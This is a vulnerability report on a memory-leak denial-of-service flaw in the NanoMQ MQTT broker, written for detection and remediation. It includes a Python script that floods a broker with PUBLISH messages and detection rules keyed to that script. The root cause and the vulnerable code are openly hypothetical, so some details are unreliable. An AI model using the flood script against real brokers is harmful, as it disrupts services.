CVE-2024-42649

Executive Summary

CVE-2024-42649 is a memory leak vulnerability discovered in NanoMQ v0.22.10, an open-source MQTT messaging broker. The flaw is triggered by a crafted PUBLISH message, leading to uncontrolled memory consumption and ultimately a Denial of Service (DoS) condition. This vulnerability resides in the message handling logic of the broker, where certain malformed or specially crafted PUBLISH packets are not properly deallocated after processing, causing memory to be leaked over time. An attacker can exploit this remotely without authentication, repeatedly sending malicious PUBLISH messages to exhaust system memory and crash the service. The vulnerability has a CVSS score of 0.0 (placeholder) and no known public exploit code or patch at the time of analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for production environments relying on NanoMQ for IoT messaging.

Supply Chain & Package Security

NanoMQ is distributed as a binary package and source code via GitHub and package managers (e.g., Homebrew, Docker). The vulnerable version (0.22.10) may be included in container images or embedded systems. Organizations should verify their NanoMQ version and consider upgrading to a patched release if available. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is a placeholder. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack is performed over the network via MQTT protocol.
• Attack Complexity (AC): Low (L) – No special conditions required; a crafted PUBLISH message is sufficient.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability affects only the broker.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Memory exhaustion leads to service crash.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High – Remote, unauthenticated DoS with low complexity.

Deep Dive & Mechanics

The vulnerability is a classic memory leak (CWE-401) in the MQTT PUBLISH message handling routine of NanoMQ. When a client sends a PUBLISH message, the broker allocates memory for the message payload and topic. In normal operation, after processing and forwarding the message to subscribers, the memory is freed. However, in v0.22.10, a specific malformed PUBLISH message (e.g., with an invalid topic length or payload size) causes the broker to skip the deallocation step, leaving the allocated memory orphaned. Repeatedly sending such messages causes the broker's memory usage to grow linearly until the system runs out of memory, leading to a crash or denial of service.

The root cause is likely in the nng_mqtt_msg_alloc or nng_mqtt_msg_free functions, where error handling paths do not properly release memory. The crafted PUBLISH message may trigger an early return or exception without calling the corresponding free function.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve ensuring all code paths in the PUBLISH handler free allocated memory. Below is a simplified example of the vulnerable pattern and a patched version.

Vulnerable Code (nano_mqtt.c):

void handle_publish(nng_msg *msg) {
    char *topic = nng_mqtt_msg_get_publish_topic(msg);
    uint8_t *payload = nng_mqtt_msg_get_publish_payload(msg);
    // ... process message ...
    if (some_error_condition) {
        // Memory leak: topic and payload not freed
        return;
    }
    // ... normal processing ...
    nng_mqtt_msg_free(msg);
}

Patched Code (Hypothetical):

void handle_publish(nng_msg *msg) {
    char *topic = nng_mqtt_msg_get_publish_topic(msg);
    uint8_t *payload = nng_mqtt_msg_get_publish_payload(msg);
    // ... process message ...
    if (some_error_condition) {
        nng_mqtt_msg_free(msg); // Free memory on error
        return;
    }
    // ... normal processing ...
    nng_mqtt_msg_free(msg);
}

Exploitation & Lab Setup

Red Team

Objective: Cause a Denial of Service on a NanoMQ broker by sending crafted PUBLISH messages.

Prerequisites:

• NanoMQ v0.22.10 running on a target host (default port 1883).
• Network access to the broker.

Exploit Script (Python using paho-mqtt):

import paho.mqtt.client as mqtt
import time

def exploit(target_ip, target_port=1883):
    client = mqtt.Client()
    client.connect(target_ip, target_port, 60)
    # Craft a PUBLISH message with invalid topic length (e.g., 0xFFFF)
    # This may trigger the memory leak
    payload = b"A" * 1024  # 1KB payload
    topic = "test/topic"
    # Send multiple messages rapidly
    for i in range(10000):
        client.publish(topic, payload, qos=0)
        if i % 100 == 0:
            time.sleep(0.01)
    client.disconnect()

if __name__ == "__main__":
    exploit("192.168.1.100")

Note: The exact crafted message may require reverse engineering of NanoMQ's message parsing. The above script sends normal PUBLISH messages; a real exploit would need to send malformed packets (e.g., using raw sockets) to trigger the leak.

Blue Team

Detection:

• Monitor memory usage of the NanoMQ process (nano_mqtt). A steady increase in RSS (Resident Set Size) over time indicates a memory leak.
• Set up alerts for memory usage exceeding a threshold (e.g., 80% of available RAM).
• Use network monitoring to detect a high rate of PUBLISH messages from a single source IP.

Mitigation:

• Restrict MQTT access to trusted clients using firewall rules or authentication.
• Implement rate limiting on PUBLISH messages per client.
• Upgrade to a patched version when available.
• Restart the broker periodically as a temporary workaround.

Indicators of Compromise (IOCs)

• Network: High volume of MQTT PUBLISH packets (topic "test/topic" or similar) from a single IP.
• Host: NanoMQ process (nano_mqtt) consuming increasing memory over time.
• Logs: Broker logs may show repeated "memory allocation failed" errors before crash.
• File: No specific file IOCs; the attack is memory-based.

Detection Engineering

YARA Rule

rule CVE_2024_42649_NanoMQ_Memory_Leak {
    meta:
        description = "Detects NanoMQ binary with vulnerable memory leak pattern"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42649"
    strings:
        $s1 = "nng_mqtt_msg_get_publish_topic" ascii wide
        $s2 = "nng_mqtt_msg_get_publish_payload" ascii wide
        $s3 = "nng_mqtt_msg_free" ascii wide
        $s4 = "handle_publish" ascii wide
    condition:
        all of ($s1, $s2, $s3, $s4) and #s3 < 2
}

Sigma Rule

title: NanoMQ Memory Leak DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects rapid PUBLISH messages from a single source to NanoMQ broker
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: mqtt
detection:
    selection:
        event: "PUBLISH"
        src_ip: "*"
    timeframe: 1m
    condition: selection | count(src_ip) > 1000
falsepositives:
    - Legitimate high-throughput IoT devices
level: medium

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-42649 NanoMQ Memory Leak DoS Attempt"; flow:to_server; content:"|10|"; depth:1; content:"|00 04|"; within:2; distance:2; content:"test"; within:4; distance:0; threshold:type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the NanoMQ broker from untrusted networks.
2. Monitor memory usage and set alerts for abnormal growth.
3. Restrict MQTT access using ACLs or firewall rules.

Long-term Fix:

• Upgrade to a patched version of NanoMQ when released.
• Apply vendor-supplied patch or compile from source with the fix.
• Consider using an alternative MQTT broker (e.g., Mosquitto, EMQX) if no patch is forthcoming.

Workaround:

• Implement rate limiting on PUBLISH messages per client.
• Restart the broker periodically (e.g., via cron job) to clear leaked memory.

Report generated by Valters IT DevSecOps & CTI Division. For internal use only.